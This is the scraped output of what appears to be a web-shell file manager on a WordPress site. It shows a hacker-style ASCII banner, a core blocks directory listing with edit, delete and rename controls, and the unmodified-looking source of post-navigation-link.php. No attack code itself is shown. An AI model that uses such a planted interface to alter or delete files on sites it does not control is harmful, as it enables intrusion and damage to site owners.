⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⢠⣴⣿⣿⣿⣷⣼⣿⠀⣴⠾⠷⠶⠦⡄⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢠⡤⢶⣦⣾⣿⣿⣿⣿⣿⣿⣿⠀⣿⣶⣶⣦⣄⠳⣤⣤⠄⠀⠀⠀ ⠀⠀⠀⢀⣼⣳⡿⢻⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣗⠈⠙⠻⣶⣄⡀⠀⠀⠀ ⠀⠀⠀⣰⠿⠁⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠈⠳⣤⠀⠀ ⠀⠀⢀⡟⠀⢰⣿⠟⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠁⠈⠻⣶⣄⠀⠀⠈⠛⢦ www.github.com/caterscam ⠀⣀⡼⠃⠀⣼⡟⠀⠀⢸⣿⡿⠉⣿⡿⠿⠛⣿⡄⠀⠀⠀⠙⠿⣆⠀⠀⠀⠈ ⠈⠁⠀⠀⢸⡟⠀⠀⠀⢸⣿⠀⠀⣿⠁⠀⠀⠈⠃⠀⠀⠀⠀⠀⠘⢷⡄⠀⠀ ⠀⠀⠀⠀⣼⠃⠀⠀⠀⢸⡟⠀⠀⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⡆⠀ ⠀⠀⠀⣠⡏⠀⠀⠀⠀⣼⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠻⠃⠀⠀⠀⠀⣻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ Current Dir: /dom834884/wp-includes/blocks/ [DIR] archives [ delete | rename ] [DIR] audio [ delete | rename ] [DIR] avatar [ delete | rename ] [DIR] block [ delete | rename ] [DIR] button [ delete | rename ] [DIR] buttons [ delete | rename ] [DIR] calendar [ delete | rename ] [DIR] categories [ delete | rename ] [DIR] code [ delete | rename ] [DIR] column [ delete | rename ] [DIR] columns [ delete | rename ] [DIR] comment-author-name [ delete | rename ] [DIR] comment-content [ delete | rename ] [DIR] comment-date [ delete | rename ] [DIR] comment-edit-link [ delete | rename ] [DIR] comment-reply-link [ delete | rename ] [DIR] comment-template [ delete | rename ] [DIR] comments [ delete | rename ] [DIR] comments-pagination [ delete | rename ] [DIR] comments-pagination-next [ delete | rename ] [DIR] comments-pagination-numbers [ delete | rename ] [DIR] comments-pagination-previous [ delete | rename ] [DIR] comments-title [ delete | rename ] [DIR] cover [ delete | rename ] [DIR] details [ delete | rename ] [DIR] embed [ delete | rename ] [DIR] file [ delete | rename ] [DIR] footnotes [ delete | rename ] [DIR] freeform [ delete | rename ] [DIR] gallery [ delete | rename ] [DIR] group [ delete | rename ] [DIR] heading [ delete | rename ] [DIR] home-link [ delete | rename ] [DIR] html [ delete | rename ] [DIR] image [ delete | rename ] [DIR] latest-comments [ delete | rename ] [DIR] latest-posts [ delete | rename ] [DIR] legacy-widget [ delete | rename ] [DIR] list [ delete | rename ] [DIR] list-item [ delete | rename ] [DIR] loginout [ delete | rename ] [DIR] media-text [ delete | rename ] [DIR] missing [ delete | rename ] [DIR] more [ delete | rename ] [DIR] navigation [ delete | rename ] [DIR] navigation-link [ delete | rename ] [DIR] navigation-submenu [ delete | rename ] [DIR] nextpage [ delete | rename ] [DIR] page-list [ delete | rename ] [DIR] page-list-item [ delete | rename ] [DIR] paragraph [ delete | rename ] [DIR] pattern [ delete | rename ] [DIR] post-author [ delete | rename ] [DIR] post-author-biography [ delete | rename ] [DIR] post-author-name [ delete | rename ] [DIR] post-comments-form [ delete | rename ] [DIR] post-content [ delete | rename ] [DIR] post-date [ delete | rename ] [DIR] post-excerpt [ delete | rename ] [DIR] post-featured-image [ delete | rename ] [DIR] post-navigation-link [ delete | rename ] [DIR] post-template [ delete | rename ] [DIR] post-terms [ delete | rename ] [DIR] post-title [ delete | rename ] [DIR] preformatted [ delete | rename ] [DIR] pullquote [ delete | rename ] [DIR] query [ delete | rename ] [DIR] query-no-results [ delete | rename ] [DIR] query-pagination [ delete | rename ] [DIR] query-pagination-next [ delete | rename ] [DIR] query-pagination-numbers [ delete | rename ] [DIR] query-pagination-previous [ delete | rename ] [DIR] query-title [ delete | rename ] [DIR] query-total [ delete | rename ] [DIR] quote [ delete | rename ] [DIR] read-more [ delete | rename ] [DIR] rss [ delete | rename ] [DIR] search [ delete | rename ] [DIR] separator [ delete | rename ] [DIR] shortcode [ delete | rename ] [DIR] site-logo [ delete | rename ] [DIR] site-tagline [ delete | rename ] [DIR] site-title [ delete | rename ] [DIR] social-link [ delete | rename ] [DIR] social-links [ delete | rename ] [DIR] spacer [ delete | rename ] [DIR] table [ delete | rename ] [DIR] tag-cloud [ delete | rename ] [DIR] template-part [ delete | rename ] [DIR] term-description [ delete | rename ] [DIR] text-columns [ delete | rename ] [DIR] verse [ delete | rename ] [DIR] video [ delete | rename ] [DIR] widget-group [ delete | rename ] [FILE] archives.php [ edit | delete | rename | download ] [FILE] avatar.php [ edit | delete | rename | download ] [FILE] block.php [ edit | delete | rename | download ] [FILE] blocks-json.php [ edit | delete | rename | download ] [FILE] button.php [ edit | delete | rename | download ] [FILE] calendar.php [ edit | delete | rename | download ] [FILE] categories.php [ edit | delete | rename | download ] [FILE] comment-author-name.php [ edit | delete | rename | download ] [FILE] comment-content.php [ edit | delete | rename | download ] [FILE] comment-date.php [ edit | delete | rename | download ] [FILE] comment-edit-link.php [ edit | delete | rename | download ] [FILE] comment-reply-link.php [ edit | delete | rename | download ] [FILE] comment-template.php [ edit | delete | rename | download ] [FILE] comments-pagination-next.php [ edit | delete | rename | download ] [FILE] comments-pagination-numbers.php [ edit | delete | rename | download ] [FILE] comments-pagination-previous.php [ edit | delete | rename | download ] [FILE] comments-pagination.php [ edit | delete | rename | download ] [FILE] comments-title.php [ edit | delete | rename | download ] [FILE] comments.php [ edit | delete | rename | download ] [FILE] cover.php [ edit | delete | rename | download ] [FILE] file.php [ edit | delete | rename | download ] [FILE] footnotes.php [ edit | delete | rename | download ] [FILE] gallery.php [ edit | delete | rename | download ] [FILE] heading.php [ edit | delete | rename | download ] [FILE] home-link.php [ edit | delete | rename | download ] [FILE] image.php [ edit | delete | rename | download ] [FILE] index.php [ edit | delete | rename | download ] [FILE] latest-comments.php [ edit | delete | rename | download ] [FILE] latest-posts.php [ edit | delete | rename | download ] [FILE] legacy-widget.php [ edit | delete | rename | download ] [FILE] list.php [ edit | delete | rename | download ] [FILE] loginout.php [ edit | delete | rename | download ] [FILE] media-text.php [ edit | delete | rename | download ] [FILE] navigation-link.php [ edit | delete | rename | download ] [FILE] navigation-submenu.php [ edit | delete | rename | download ] [FILE] navigation.php [ edit | delete | rename | download ] [FILE] page-list-item.php [ edit | delete | rename | download ] [FILE] page-list.php [ edit | delete | rename | download ] [FILE] pattern.php [ edit | delete | rename | download ] [FILE] post-author-biography.php [ edit | delete | rename | download ] [FILE] post-author-name.php [ edit | delete | rename | download ] [FILE] post-author.php [ edit | delete | rename | download ] [FILE] post-comments-form.php [ edit | delete | rename | download ] [FILE] post-content.php [ edit | delete | rename | download ] [FILE] post-date.php [ edit | delete | rename | download ] [FILE] post-excerpt.php [ edit | delete | rename | download ] [FILE] post-featured-image.php [ edit | delete | rename | download ] [FILE] post-navigation-link.php [ edit | delete | rename | download ] [FILE] post-template.php [ edit | delete | rename | download ] [FILE] post-terms.php [ edit | delete | rename | download ] [FILE] post-title.php [ edit | delete | rename | download ] [FILE] query-no-results.php [ edit | delete | rename | download ] [FILE] query-pagination-next.php [ edit | delete | rename | download ] [FILE] query-pagination-numbers.php [ edit | delete | rename | download ] [FILE] query-pagination-previous.php [ edit | delete | rename | download ] [FILE] query-pagination.php [ edit | delete | rename | download ] [FILE] query-title.php [ edit | delete | rename | download ] [FILE] query-total.php [ edit | delete | rename | download ] [FILE] query.php [ edit | delete | rename | download ] [FILE] read-more.php [ edit | delete | rename | download ] [FILE] require-dynamic-blocks.php [ edit | delete | rename | download ] [FILE] require-static-blocks.php [ edit | delete | rename | download ] [FILE] rss.php [ edit | delete | rename | download ] [FILE] search.php [ edit | delete | rename | download ] [FILE] shortcode.php [ edit | delete | rename | download ] [FILE] site-logo.php [ edit | delete | rename | download ] [FILE] site-tagline.php [ edit | delete | rename | download ] [FILE] site-title.php [ edit | delete | rename | download ] [FILE] social-link.php [ edit | delete | rename | download ] [FILE] tag-cloud.php [ edit | delete | rename | download ] [FILE] template-part.php [ edit | delete | rename | download ] [FILE] term-description.php [ edit | delete | rename | download ] [FILE] widget-group.php [ edit | delete | rename | download ] Viewing: /dom834884/wp-includes/blocks/post-navigation-link.php <?php /** * Server-side rendering of the `core/post-navigation-link` block. * * @package WordPress */ /** * Renders the `core/post-navigation-link` block on the server. * * @since 5.9.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * * @return string Returns the next or previous post link that is adjacent to the current post. */ function render_block_core_post_navigation_link( $attributes, $content ) { if ( ! is_singular() ) { return ''; } // Get the navigation type to show the proper link. Available options are `next|previous`. $navigation_type = isset( $attributes['type'] ) ? $attributes['type'] : 'next'; // Allow only `next` and `previous` in `$navigation_type`. if ( ! in_array( $navigation_type, array( 'next', 'previous' ), true ) ) { return ''; } $classes = "post-navigation-link-$navigation_type"; if ( isset( $attributes['textAlign'] ) ) { $classes .= " has-text-align-{$attributes['textAlign']}"; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classes, ) ); // Set default values. $format = '%link'; $link = 'next' === $navigation_type ? _x( 'Next', 'label for next post link' ) : _x( 'Previous', 'label for previous post link' ); $label = ''; // Only use hardcoded values here, otherwise we need to add escaping where these values are used. $arrow_map = array( 'none' => '', 'arrow' => array( 'next' => '→', 'previous' => '←', ), 'chevron' => array( 'next' => '»', 'previous' => '«', ), ); // If a custom label is provided, make this a link. // `$label` is used to prepend the provided label, if we want to show the page title as well. if ( isset( $attributes['label'] ) && ! empty( $attributes['label'] ) ) { $label = "{$attributes['label']}"; $link = $label; } // If we want to also show the page title, make the page title a link and prepend the label. if ( isset( $attributes['showTitle'] ) && $attributes['showTitle'] ) { /* * If the label link option is not enabled but there is a custom label, * display the custom label as text before the linked title. */ if ( ! $attributes['linkLabel'] ) { if ( $label ) { $format = '<span class="post-navigation-link__label">' . wp_kses_post( $label ) . '</span> %link'; } $link = '%title'; } elseif ( isset( $attributes['linkLabel'] ) && $attributes['linkLabel'] ) { // If the label link option is enabled and there is a custom label, display it before the title. if ( $label ) { $link = '<span class="post-navigation-link__label">' . wp_kses_post( $label ) . '</span> <span class="post-navigation-link__title">%title</span>'; } else { /* * If the label link option is enabled and there is no custom label, * add a colon between the label and the post title. */ $label = 'next' === $navigation_type ? _x( 'Next:', 'label before the title of the next post' ) : _x( 'Previous:', 'label before the title of the previous post' ); $link = sprintf( '<span class="post-navigation-link__label">%1$s</span> <span class="post-navigation-link__title">%2$s</span>', wp_kses_post( $label ), '%title' ); } } } // Display arrows. if ( isset( $attributes['arrow'] ) && 'none' !== $attributes['arrow'] && isset( $arrow_map[ $attributes['arrow'] ] ) ) { $arrow = $arrow_map[ $attributes['arrow'] ][ $navigation_type ]; if ( 'next' === $navigation_type ) { $format = '%link<span class="wp-block-post-navigation-link__arrow-next is-arrow-' . $attributes['arrow'] . '" aria-hidden="true">' . $arrow . '</span>'; } else { $format = '<span class="wp-block-post-navigation-link__arrow-previous is-arrow-' . $attributes['arrow'] . '" aria-hidden="true">' . $arrow . '</span>%link'; } } /* * The dynamic portion of the function name, `$navigation_type`, * Refers to the type of adjacency, 'next' or 'previous'. * * @see https://developer.wordpress.org/reference/functions/get_previous_post_link/ * @see https://developer.wordpress.org/reference/functions/get_next_post_link/ */ $get_link_function = "get_{$navigation_type}_post_link"; if ( ! empty( $attributes['taxonomy'] ) ) { $content = $get_link_function( $format, $link, true, '', $attributes['taxonomy'] ); } else { $content = $get_link_function( $format, $link ); } return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $content ); } /** * Registers the `core/post-navigation-link` block on the server. * * @since 5.9.0 */ function register_block_core_post_navigation_link() { register_block_type_from_metadata( __DIR__ . '/post-navigation-link', array( 'render_callback' => 'render_block_core_post_navigation_link', ) ); } add_action( 'init', 'register_block_core_post_navigation_link' );